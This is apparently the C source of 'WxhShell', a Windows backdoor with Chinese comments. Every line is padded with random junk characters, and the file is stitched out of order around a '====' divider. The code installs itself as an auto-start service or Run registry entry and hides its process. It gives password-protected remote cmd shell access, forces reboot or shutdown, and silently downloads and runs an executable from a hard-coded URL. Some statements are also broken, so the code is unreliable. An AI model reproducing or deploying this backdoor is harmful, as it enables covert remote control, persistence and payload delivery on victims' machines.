    else { \( xQ'AQ-  
    closesocket(wsh); v7- d+P=  
    ExitThread(0); @EcY& mP)  
    } BGVy \F<  
    break; &8 4Izs/[  
    } [{9&KjI0K  
  // 获取shell Q@#Gm9m  
  case 's': { G3t 4$3|  
    CmdShell(wsh); 0B~Q.tyP  
    closesocket(wsh); @7<m.?A!  
    ExitThread(0); >eaK@u-'0  
    break; g].hL  
  } =;A~$[g  
  // 退出 ~b{j`T  
  case 'x': { u+uu?.bM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); auQfWO[ u  
    CloseIt(wsh); vW4N[ .+  
    break; \Rvsy;7  
    } f*~z|  
  // 离开 dCM*4B<  
  case 'q': { F`YxH*tO7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z'z~40Bda  
    closesocket(wsh); S~ 3|  
    WSACleanup(); )Z2t=&Nw  
    exit(1); <0I=XsE1iX  
    break; t ~"DQq E  
        } ]6{\`a  
  } E.~~.2   
  } uu582%tiG  
B 9AE*  
  // 提示信息 Sf0[^"7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oJTsrc_ -  
} Q CB~x2C  
  } ~j2=hkS  
H@WQO]P A  
  return; QabYkL5@  
} abM4G  
Y_<(~eN`  
// shell模块句柄 )z?Kq0  
int CmdShell(SOCKET sock) T3 k#6N.  
{ ;F<)BEXC<  
STARTUPINFO si; h8_~ OX  
ZeroMemory(&si,sizeof(si)); :WBl0`kW]4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wh;E\^',n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &vp0zYd+v  
PROCESS_INFORMATION ProcessInfo; #FV(a~  
char cmdline[]="cmd"; DweWFipyPi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #i GRi!$h  
  return 0; VCvqiHn  
} oWUDTio#[  
yw;!KUKb|  
// 自身启动模式 ".SQ*'Oc  
int StartFromService(void) 6Pa jBEF  
{ H;n(qBSB  
typedef struct QYL ';  
{ BOp&s>hI  
  DWORD ExitStatus; LvNk:99:<  
  DWORD PebBaseAddress;  VgNt  
  DWORD AffinityMask; [2,u:0"  
  DWORD BasePriority; jP";ll|c  
  ULONG UniqueProcessId; r8~U@$BBK  
  ULONG InheritedFromUniqueProcessId; 2O5yS  
}   PROCESS_BASIC_INFORMATION; Aq{m42EAj  
P!";$]+  
PROCNTQSIP NtQueryInformationProcess; _9Ig`?<>I  
f(E  'i>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rXz,<^Hmj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s"|N-A=cS  
+6{KrREX)  
  HANDLE             hProcess; ngJES` 0d  
  PROCESS_BASIC_INFORMATION pbi; oB$D&  
rkl/5z??  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |7I.DBjR;  
  if(NULL == hInst ) return 0; EF{_-FXY  
Q'^]lVY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -~h2^Oez  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .j4IW 3)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5aTyM_x  
O,[aL;v  
  if (!NtQueryInformationProcess) return 0; 4>^ %_Xj[  
2g^Kf,m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E}qeh"sJt  
  if(!hProcess) return 0; pz^"~0o5  
mHox  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d}',Bl+u{$  
vwzTrWA=  
  CloseHandle(hProcess); !`='K +  
+-#| M|a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }h>e=<  
if(hProcess==NULL) return 0; w|PZSOJ  
xZmKKKd0*  
HMODULE hMod; /BVNJNhz  
char procName[255]; [:!#F7O-  
unsigned long cbNeeded; ,9"</\]`  
<S0!$.Kg*<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TR@$$RrU  
"O|fX\}5  
  CloseHandle(hProcess); $(}kau  
t Q_}o[  
if(strstr(procName,"services")) return 1; // 以服务启动 M42D5|tZc  
~eL7=G@{  
  return 0; // 注册表启动 | _~BV&g,N  
} $zz=>BOk  
.?S#DS )  
// 主模块 sa+:c{  
int StartWxhshell(LPSTR lpCmdLine) AJ:@c7:eS  
{ yZFv pw|g  
  SOCKET wsl; lLtC9:  
BOOL val=TRUE; VkhK2  
  int port=0; Z/uRz]Hi  
  struct sockaddr_in door; S,S_BB<Y[b  
7!JoP ?!  
  if(wscfg.ws_autoins) Install(); h2aJa@;S  
Ok({Al1A,w  
port=atoi(lpCmdLine); 60AX2-sdJ,  
~rY<y%K  
if(port<=0) port=wscfg.ws_port; L +.K}w  
K{>O. 5  
  WSADATA data; ^"+cJ)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AD?^.<  
dGh<R|U3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x_Ais&Gc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Punbw\9!d,  
  door.sin_family = AF_INET; PD/JXExK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fBd +gT\S  
  door.sin_port = htons(port); TJsT .DWW~  
9f,HjRP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E4y"$U%.  
closesocket(wsl); ! 2Y, a  
return 1; l/rhA6kEU  
} gYzKUX@  
9fl !CG  
  if(listen(wsl,2) == INVALID_SOCKET) { {Y'_QW1:2  
closesocket(wsl); YN>#zr+~  
return 1; ?QVD)JI*k  
} Cv$TNkP*  
  Wxhshell(wsl); cS ];?tqrA  
  WSACleanup(); Z^GriL  
A7b7IM[  
return 0; )cs y^-qw  
4VU5}"<  
} KI>7h.t  
sCRBKCR?  
// 以NT服务方式启动 <U,T*Ql1x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s^KxAw_IV  
{ |+`hSA  
DWORD   status = 0; W+K=M*^D;c  
  DWORD   specificError = 0xfffffff; &*)tqQeQf  
BTd'bD~EA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LK:|~UV?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [Q 2t,tQx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [[ s k  
  serviceStatus.dwWin32ExitCode     = 0; Y?%6af+  
  serviceStatus.dwServiceSpecificExitCode = 0; @MB;Ez v  
  serviceStatus.dwCheckPoint       = 0; >9u6@  
  serviceStatus.dwWaitHint       = 0; 5E!|-xD  
^jmnE.8R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); / V {w<  
  if (hServiceStatusHandle==0) return; 0U/:Tpyr  
*iC t4J  
status = GetLastError(); ]-PF?8  
  if (status!=NO_ERROR) h0^V!.- 5  
{ caj)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nW drVT$  
    serviceStatus.dwCheckPoint       = 0; ZA9']u%EJ  
    serviceStatus.dwWaitHint       = 0; W>DpDrO4ml  
    serviceStatus.dwWin32ExitCode     = status; +j@|D@z  
    serviceStatus.dwServiceSpecificExitCode = specificError; M2zfN ru  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dU&.gFw1  
    return; >$Fc=~;Ba  
  } mML^kgy\N  
U<6k!Y9ny  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dl":?D4H  
  serviceStatus.dwCheckPoint       = 0; 'g=yJ  
  serviceStatus.dwWaitHint       = 0; RD_;us@&&*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -dvDAs{X  
} `jZX(H   
MZd\.]G@  
// 处理NT服务事件,比如:启动、停止 *UyV@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TM^1 {0;r5  
{ =AKW(v  
switch(fdwControl) ^g[])2",  
{ ,^<+5TYM7  
case SERVICE_CONTROL_STOP: f$ Ap\(.  
  serviceStatus.dwWin32ExitCode = 0; mJsYY,b8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y?5yzD:  
  serviceStatus.dwCheckPoint   = 0; VUnEI oKM  
  serviceStatus.dwWaitHint     = 0; e:,.-Kvzp`  
  { x1}q!)e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q;>BltU  
  } d#b{4zF"  
  return;  q?^0 o\  
case SERVICE_CONTROL_PAUSE: q!H 3JL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #/tdZ0  
  break; fF d9D=EW.  
case SERVICE_CONTROL_CONTINUE: j qdI=!H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G1nW{vce  
  break; i L m1l  
case SERVICE_CONTROL_INTERROGATE: ]Z84w!z  
  break; }DM2#E`_  
}; =:g^_Hy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hx2C<;s4  
} .gPsJ?b  
gOWyV@  
// 标准应用程序主函数 R_ 1C+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @"/}Al  
{ gP`!MlY@  
Q./ lX:  
// 获取操作系统版本 $@Ay0GEI"  
OsIsNt=GetOsVer(); `-/l$A} U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (jm.vL&5j  
ILO+=xU  
  // 从命令行安装 LQh\j|e9  
  if(strpbrk(lpCmdLine,"iI")) Install(); F d\XDc[g  
V?O%kd  
  // 下载执行文件 o6y,M!p@  
if(wscfg.ws_downexe) { y(]|jRo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dH/t|.%  
  WinExec(wscfg.ws_filenam,SW_HIDE); :U:7iP:  
} z\E "={P&  
\=@r1[d  
if(!OsIsNt) { RYV6hp)|  
// 如果时win9x,隐藏进程并且设置为注册表启动 >=`c [=:Z_  
HideProc(); 4bxkp3~h;  
StartWxhshell(lpCmdLine); Xou#38&p>  
} &Bp\kv  
else |be r:1  
  if(StartFromService()) R`* *!ku  
  // 以服务方式启动 #PrV)en  
  StartServiceCtrlDispatcher(DispatchTable); :1lE98=  
else XF7W'^  
  // 普通方式启动 :HE]P)wz-  
  StartWxhshell(lpCmdLine); `;_tt_  
f~q&.,I(  
return 0; KJ)nGoP>  
} _ <;Q=?'*  
B![5+  
'iVo,m[yKU  
BH-[q9pf  
=========================================== 0o<q Eo^  
5i/E=D  
-PnC^r0L$  
HEuM"2{DMM  
*3/7wSV:  
IP'igX  
" @gqw]_W  
`es($7}P_W  
#include <stdio.h> [[ e| GQ  
#include <string.h> 3opLLf_g  
#include <windows.h> b66X])+4jE  
#include <winsock2.h> . ?p}:  
#include <winsvc.h> 2 &Byq  
#include <urlmon.h> R2$U K  
Vf?#W,5>=  
#pragma comment (lib, "Ws2_32.lib") ?:?4rIZ<  
#pragma comment (lib, "urlmon.lib") @"I#b99  
|wJZU  
#define MAX_USER   100 // 最大客户端连接数 YF -w=Y6  
#define BUF_SOCK   200 // sock buffer 2*citB{  
#define KEY_BUFF   255 // 输入 buffer X?6h>%) k  
VU/W~gb4"A  
#define REBOOT     0   // 重启 eCp|QSXE  
#define SHUTDOWN   1   // 关机 >$mSF Jz5S  
$&8h=e~]-  
#define DEF_PORT   5000 // 监听端口 GVEWd/:X(  
u!uDu,y  
#define REG_LEN     16   // 注册表键长度 .UrYF 0  
#define SVC_LEN     80   // NT服务名长度 gx*rSS?=N  
<!9fJFE  
// 从dll定义API \ZFQ?e,d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?nZ <?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z% ;4Ed  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >'6GcnEb4.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7I(t,AKJ  
%;Z bQ9  
// wxhshell配置信息 |)q K g  
struct WSCFG { kP)o=\|W{z  
  int ws_port;         // 监听端口 ~RXpz-Ye  
  char ws_passstr[REG_LEN]; // 口令 'Y[A'.*}4  
  int ws_autoins;       // 安装标记, 1=yes 0=no p? ?/r  
  char ws_regname[REG_LEN]; // 注册表键名 O|Ic[XfLx  
  char ws_svcname[REG_LEN]; // 服务名 b.4Xn0-M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \5P.C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y<`?@(0$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fd[h9 G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %?f:"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $a^isd4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qd+[ShrhqZ  
}IN_5o((  
}; {TncqA  
c,q"}nE8w  
// default Wxhshell configuration 0sd-s~;  
struct WSCFG wscfg={DEF_PORT, +V9B  
    "xuhuanlingzhe", ^ 6.lb\  
    1, dPx<Dz;  
    "Wxhshell", ?Y{^un  
    "Wxhshell", 8},<e>q  
            "WxhShell Service", T;4` wB8@  
    "Wrsky Windows CmdShell Service", kz0=GKic  
    "Please Input Your Password: ", 2Nn1-wdhb  
  1, g?~Tguv  
  "http://www.wrsky.com/wxhshell.exe", ;:Z=%R$wJ  
  "Wxhshell.exe" ^ L ^F=qx  
    }; P;[Y42\z|  
Blbq3y+Sq  
// 消息定义模块 ]1?=jlUl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -2& i)S0R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mhk/>+hF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3fxNV<  
char *msg_ws_ext="\n\rExit."; _E6} XNS  
char *msg_ws_end="\n\rQuit."; o}=.  
char *msg_ws_boot="\n\rReboot..."; ?Hi}nsw  
char *msg_ws_poff="\n\rShutdown..."; sc8DY!|OYN  
char *msg_ws_down="\n\rSave to "; CofH}-  
ns#~}2"d  
char *msg_ws_err="\n\rErr!"; _Dj<Eu_  
char *msg_ws_ok="\n\rOK!"; 23-t$y]  
h/Hl?O8[  
char ExeFile[MAX_PATH]; D;zWksq  
int nUser = 0; 5!AV!A_Jp  
HANDLE handles[MAX_USER]; d;~ 3P  
int OsIsNt; =dM.7$6) R  
voV:H[RD9  
SERVICE_STATUS       serviceStatus; -+}5ma  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T;!ukGoFP  
\E@s_fQ]  
// 函数声明 >{m2E8U0  
int Install(void); iS1Gb$?  
int Uninstall(void);  *q*HGW5  
int DownloadFile(char *sURL, SOCKET wsh); nG"n-$A?<  
int Boot(int flag); !&`}]qQZ  
void HideProc(void); f<89$/w  
int GetOsVer(void); ^Cg^ `n?@b  
int Wxhshell(SOCKET wsl); e3eVvl5]  
void TalkWithClient(void *cs); mF'-Is  
int CmdShell(SOCKET sock); =3|pHc hJ4  
int StartFromService(void); &Vt2be*  
int StartWxhshell(LPSTR lpCmdLine); &xiOTkqB  
;cI#S%uvpn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $J"%I$%X=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w< 65S  
PW%1xHLfk  
// 数据结构和表定义 b,sGq  
SERVICE_TABLE_ENTRY DispatchTable[] = wmo{YS3t|  
{ yGvDn' m  
{wscfg.ws_svcname, NTServiceMain}, Dz`k[mI  
{NULL, NULL} q_T] 9d  
}; k&) K(  
CV&zi6  
// 自我安装 8/3u/  
int Install(void) dL_QX,X-]  
{ [?chK^8  
  char svExeFile[MAX_PATH]; A Jyq>0p  
  HKEY key; aDL)|>"Q  
  strcpy(svExeFile,ExeFile); [ $l"-*s4  
TZ_rsj/t  
// 如果是win9x系统,修改注册表设为自启动 x(PKFn  
if(!OsIsNt) { 3ai (x1%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QCOLC2I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ja[OcR-tX  
  RegCloseKey(key); Vkr`17`G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '{[!j6wt\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y"^yYO  
  RegCloseKey(key); Di*]ab  
  return 0; 3J%V%}mD  
    } u#`+[AC`  
  } ljPq2v ]  
} 6&89~W{  
else { yl-fbYH  
/_V'DJV  
// 如果是NT以上系统,安装为系统服务 dv;9QCc'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P:sAqvH6  
if (schSCManager!=0) +z\\VD  
{  I>A^I  
  SC_HANDLE schService = CreateService ]gu1#  
  ( 6Rcu a<;2P  
  schSCManager, ~TDzq -U)  
  wscfg.ws_svcname, 4`nqAX~'f  
  wscfg.ws_svcdisp, ?6i;)eIOI  
  SERVICE_ALL_ACCESS, 3AURzU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {6'*Phw  
  SERVICE_AUTO_START, W`$[j0  
  SERVICE_ERROR_NORMAL, 0 y< k][  
  svExeFile, .f>,6?   
  NULL, Dg~ [#C-  
  NULL, S5N@\ x  
  NULL, 3bH~';<  
  NULL,  tPA:_  
  NULL '61i2\[lZQ  
  ); 91u p^   
  if (schService!=0) x;u~NKy  
  { 4O!E|/`wO  
  CloseServiceHandle(schService); F>N+<Z  
  CloseServiceHandle(schSCManager); t5paY w-b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vMhYpt?7\  
  strcat(svExeFile,wscfg.ws_svcname); :BZMnCfA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R2w`Y5#`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &5u BNpH  
  RegCloseKey(key); Y0@yD#,0~  
  return 0; *Bs^NU.  
    } ic-IN~J-  
  } ASW4,%cl  
  CloseServiceHandle(schSCManager); ivfXat-  
} #{x5L^v>]  
} @l~7 x  
"tL2F*F"6X  
return 1; exQ#<x*  
} 'M8aW!~  
Wr5Q5s)c  
// 自我卸载 hK(tPl$  
int Uninstall(void) x=-0zV  
{ =EW3&+Lt  
  HKEY key; vX+.e1m  
qD-fw-,:  
if(!OsIsNt) { [ ?iqqG.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ av6HFQ  
  RegDeleteValue(key,wscfg.ws_regname); :a.0he s  
  RegCloseKey(key); $n-Af0tK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0z`/Hn  
  RegDeleteValue(key,wscfg.ws_regname); nUc;/  
  RegCloseKey(key); VD$ Eb  
  return 0; mV?&%>*(f  
  } rJQ=9qn\  
} Jx$iwu  
} .x}gg\  
else { ;,XyN+2H  
;/'|WLI9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =Vb~s+YW  
if (schSCManager!=0) q[ ULG v  
{ bLbR IY"l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \"x>JW4w  
  if (schService!=0) :)IV!_>'d  
  { (a.1M8v+Sg  
  if(DeleteService(schService)!=0) { )eYDQA>J  
  CloseServiceHandle(schService); ewnfeg1  
  CloseServiceHandle(schSCManager); rbyY8 bX  
  return 0; & [_ZXVva~  
  } P~RhUKfd  
  CloseServiceHandle(schService); -7%X]  
  } ^ve14mbF#.  
  CloseServiceHandle(schSCManager); `T"rG }c  
} c@R; /m:R  
} \a))  
uZIJoT  
return 1; )(m0cP{7  
} 5mgHlsDzu  
y-B=W]E  
// 从指定url下载文件 *C6D3y  
int DownloadFile(char *sURL, SOCKET wsh) :#u}.G  
{ r_U>VT^E:  
  HRESULT hr; uS<_4A;sD,  
char seps[]= "/"; $^_|j1 z#i  
char *token; p|qyTeg  
char *file; ;YyXT"6/p  
char myURL[MAX_PATH]; rh%m;i<b  
char myFILE[MAX_PATH]; 3o6RbW0[  
|P~;C6sf  
strcpy(myURL,sURL); 2f{T6=SK  
  token=strtok(myURL,seps); i  sW\MB]  
  while(token!=NULL) sJZ!sznn  
  { 8TWTbQ  
    file=token; CQ^3v09N;~  
  token=strtok(NULL,seps); ^jD1vUL 2:  
  } v`DI<Lt  
sx 9uV  
GetCurrentDirectory(MAX_PATH,myFILE); A:# k  
strcat(myFILE, "\\"); DBsDk kB{  
strcat(myFILE, file); gfy19c 9  
  send(wsh,myFILE,strlen(myFILE),0); g "hJ{{<  
send(wsh,"...",3,0); vl:J40Kfn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s8<gK.atl  
  if(hr==S_OK) ,^$ |R32  
return 0; ,gx)w^WTm  
else 3[IJhR[  
return 1; #0"~G][#  
Gy"%R-j7  
} U BZ9A  
>#(n"RCHf  
// 系统电源模块  !HK^AwNY  
int Boot(int flag) u[oUCTY  
{ h#qN+qt}  
  HANDLE hToken; OqUr9?+  
  TOKEN_PRIVILEGES tkp; Bv9kSu9'~  
5[gh|I;D  
  if(OsIsNt) { !EBY@ Y1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0Scm? l3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \9{F5S z  
    tkp.PrivilegeCount = 1; 6GL=)0Ah  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }-DE`c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); izZ=d5+K  
if(flag==REBOOT) { 06 mlj6hV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4Ysb5m)u  
  return 0; K#mOSY;}  
} w?y 6nTg<  
else { xJwG=$o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K'5'}Lb5k  
  return 0; G64Fx*`  
} V416g |lBO  
  } ?1I GYyu!  
  else { 3l1cyPv  
if(flag==REBOOT) { jO~:<y3 =  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m D58T2 Z  
  return 0; jd-glE,Y/  
} K^[#]+nQ  
else { {+.r5py  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |L6&Gf]#5  
  return 0; S:bC[}  
} aelO3'UN  
} _5Bcwa/  
&^".2)zU  
return 1; O;9?(:_  
} ExBUpDQc  
8wZf ]_  
// win9x进程隐藏模块 NjuiD].  
void HideProc(void) R^#@lI~  
{ 5F"|E-;  
B4Y(?JTx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #*%q'gyHT  
  if ( hKernel != NULL ) \nqkA{;B{  
  { w.{&=WTr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v-b0\_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lUOvm\  
    FreeLibrary(hKernel); $md%x mQ[  
  } c=O,;lWFqm  
w'Tq3-%V  
return; S$q =;"  
} 'tgKe!-@  
hqvE!Of  
// 获取操作系统版本 _fk#<  
int GetOsVer(void) &53]sFZ  
{ 3VO2,PCZ  
  OSVERSIONINFO winfo; G6 0S|d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YwEpy(}hJm  
  GetVersionEx(&winfo); Kv&g5&N,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CY:d`4  
  return 1; ~uWOdm-"[  
  else 13k !'P  
  return 0; !^oV #  
} kOwMs<1J  
'9p@vi{\  
// 客户端句柄模块 eV^d6T$  
int Wxhshell(SOCKET wsl) "r4AY  
{ N2r/ho}8  
  SOCKET wsh; uN*KHE+h  
  struct sockaddr_in client; ;bzX% f?|G  
  DWORD myID; 2F{hg%  
gV;H6"  
  while(nUser<MAX_USER) e}Vw!w  
{ B!]2Se2G  
  int nSize=sizeof(client); /6uT6G+(z}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "I6P=]|b  
  if(wsh==INVALID_SOCKET) return 1; /*FH:T<V  
uA t V".  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (IqZ@->nw  
if(handles[nUser]==0) 3f.b\4 U  
  closesocket(wsh); Q#I"_G&{  
else C*=Xk/0  
  nUser++; _9 .(a  
  } r|Z3$J{^"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `:8J46or  
pIV-kI:w  
  return 0; olB)p$aH#  
} & F:IIo7  
"Mw[P [w*  
// 关闭 socket 7"F*u :  
void CloseIt(SOCKET wsh) #AkV/1Y  
{ !3n)|~r;K  
closesocket(wsh); 5@IB39  
nUser--; (tah]Bx  
ExitThread(0); w27KI]%(  
} }U~6^2 .,  
?liK\C2Z<  
// 客户端请求句柄 vy2Q g  
void TalkWithClient(void *cs) Y`7~Am/r;&  
{ j`'`)3f  
z<sg0K8z63  
  SOCKET wsh=(SOCKET)cs; QZp6YSz.4  
  char pwd[SVC_LEN]; : JzI>/  
  char cmd[KEY_BUFF]; ,j;m!V  
char chr[1]; )UgX3+@  
int i,j; (s<Dd2&.H  
[v7^i_d  
  while (nUser < MAX_USER) { $E<Esf$  
fqX"Lus `=  
if(wscfg.ws_passstr) { ZRxZume<f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }VS3L_ ;}/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oF9 -&  
  //ZeroMemory(pwd,KEY_BUFF); Va,<3z%O<  
      i=0; lt^\  
  while(i<SVC_LEN) { LZJA4?C  
Ee)[\Qjn  
  // 设置超时 =L%DX#8  
  fd_set FdRead; FMNm,O]  
  struct timeval TimeOut; ~CB[9D=  
  FD_ZERO(&FdRead); .7'kw]{/  
  FD_SET(wsh,&FdRead); 'j^xbikr  
  TimeOut.tv_sec=8; ]V %.I_  
  TimeOut.tv_usec=0; D0k 8^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e0@ 6Pd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n55Pv3}C  
bmNq[}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); />¬$>  
  pwd=chr[0]; #_lt~^ 6  
  if(chr[0]==0xd || chr[0]==0xa) { C{sLz9  
  pwd=0;  S( S#  
  break; /MY9 >  
  } bfB\h*XO  
  i++; '1,,)U#6E  
    } *n]7  
\k;`}3 uO  
  // 如果是非法用户,关闭 socket s]mo$ _na  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R>DaOH2K*  
} (8v7|Pe8  
8^Hn"v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V fv@7@q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 56^ +;^f^`  
JdIlWJY  
while(1) { CTWn2tpW  
t+5E#!y  
  ZeroMemory(cmd,KEY_BUFF); ]k9)G*  
SH*C"  
      // 自动支持客户端 telnet标准    K;LZ-  
  j=0; +?p.?I  
  while(j<KEY_BUFF) { gp$Ucfu'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !61Pl/uQ  
  cmd[j]=chr[0]; }FzqW*4~  
  if(chr[0]==0xa || chr[0]==0xd) { WL`9~S  
  cmd[j]=0; \*,=S52  
  break; }g$(+1g  
  } G^q3Z#P  
  j++; gM [w1^lj  
    } MxyN\Mq'  
-P&6L\V  
  // 下载文件 K}6dg<  
  if(strstr(cmd,"http://")) { ##Z_QB(;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hJzxbr <  
  if(DownloadFile(cmd,wsh)) <hwy*uBrD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a0Ik`8^`  
  else FgLrb#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j5 g# M  
  } nFe%vu8a  
  else { %,hV[[@.  
aR,}W\6M  
    switch(cmd[0]) { TYI7<-Mp:[  
  >vuY+o;B  
  // 帮助 e" ]2=5g  
